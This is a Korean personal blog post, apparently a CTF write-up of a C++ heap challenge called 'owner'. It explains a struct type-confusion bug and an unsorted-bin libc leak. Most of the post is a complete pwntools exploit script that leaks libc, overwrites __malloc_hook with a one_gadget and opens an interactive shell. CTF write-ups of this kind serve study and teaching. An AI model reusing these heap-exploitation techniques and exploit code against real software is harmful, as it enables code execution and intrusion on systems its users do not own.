HanJeouk의 개인공부 블로그

일단 C++로 된 문제다. 보호기법을 체크해보자.


구조체들을 분석해보면

대충 이렇게 생겼다.

manage 함수를 보면 Edit와 Change 함수가 있는데 Edit 함수는 일반적인 Edit 함수처럼 원래 있던 값들을 수정할 수 있게 해준다. Change 함수는 company를 restaurant로 바꾸거나 apartment 로 바꿀수 있게 해준다.

그래서 apartment를 restaurant를 바꿔준다면 restaurant의 구조체 변수 people, money, menu, price, customer_pay를 추가적으로 확인할 수 있다.

이걸로 다른 청크의 데이터를 릭하거나 바꿀 수 있다.

string 객체를 이용해서 릭을 했다. string은 할당한 값보다 크게 받으면 free를 시키고 다시 할당시킨다.

그래서 free가 되면 unsorted bin이 나온다. 그리고 건물을 할당하게 되면 건물 구조체 안에 unsorted_bin이 들어가서 릭이 가능하다. 

공격은 apartment 하나를 restaurant로 change한다. 그리고 edit를 하면 구조체 apartment로 할당한 구조체가 restaurant로 바뀌면서 people, money, menu, price, customer_pay를 추가적으로 조작할 수 있다.

조작하기 전에 people, money, menu, price, customer_pay가 위치한 주소는 다음 청크의 영역일 것이다.

restaurant로 바꾸고 price를 보니 다음 청크의 name 영역이다. 이걸 __free_hook으로 바꾸고 edit을 시키면

__free_hook에 값을 덮을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
= process("./owner")
def apartment(name,floor,many,describe):
        p.sendlineafter("> ","1")
        p.sendlineafter("? ",name)
        p.sendlineafter("? ",str(floor))
        p.sendlineafter("? ",str(many))
        p.sendlineafter("it : ",describe)
 
#### Leak ####
apartment("1","1","1","1")
apartment("A"*8,"1","1","B"*200)
apartment("2","2","2","2")
p.sendlineafter("> ","4")
p.sendlineafter("> ","2")
p.sendlineafter("> ","1")
p.sendlineafter("> ","3")
p.sendlineafter("> ","2")
 
p.sendlineafter("> ","4")
p.sendlineafter("> ","3")
 
 
p.sendlineafter("> ","4")
p.sendlineafter("> ","1")
p.sendlineafter("> ","3")
p.sendlineafter("> ","1")
 
p.recvuntil("price of menu : ")
leak = int(p.recv(15),10)
base = leak - 0x3c4b98+0x20
malloc_hook = base +0x3c4b10
one = base+0xf1147
#### Exploit ####
p.sendlineafter("> ","9")
p.sendlineafter("> ","9")
p.sendlineafter("> ","2")
p.sendlineafter("> ","1")
p.sendlineafter("> ","1")
p.sendlineafter("> ","2")
p.sendlineafter("> ","9")
 
p.sendlineafter("> ","1")
p.sendlineafter("> ","3")
p.sendlineafter("> ","2")
p.sendlineafter("> ","6")
p.sendlineafter(" : ",str(malloc_hook))
p.sendlineafter("> ","9")
p.sendlineafter("> ","1")
p.sendlineafter("> ","1")
p.sendlineafter("> ","1")
p.sendlineafter(" : ",p64(one))
p.sendlineafter("> ","9")
p.sendlineafter("> ","9")
p.sendlineafter("> ","9")
p.sendlineafter("> ","1")
 
print "Leak: " +  hex(leak)
print "Base: " +  hex(base)
print "malloc_hook: " + hex(malloc_hook)
print "one_shot: " + hex(one)
p.sendline("id")
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2018 HITB-XCTF d  (0) 2018.04.15
2018 Codegate Final heapbabe & 후기  (0) 2018.04.08
2017 Codegate Final petshop  (0) 2018.03.27
2016 Hitcon sleepy holder [Again]  (0) 2018.03.22
2016 Hitcon secret holder [Again]  (0) 2018.03.21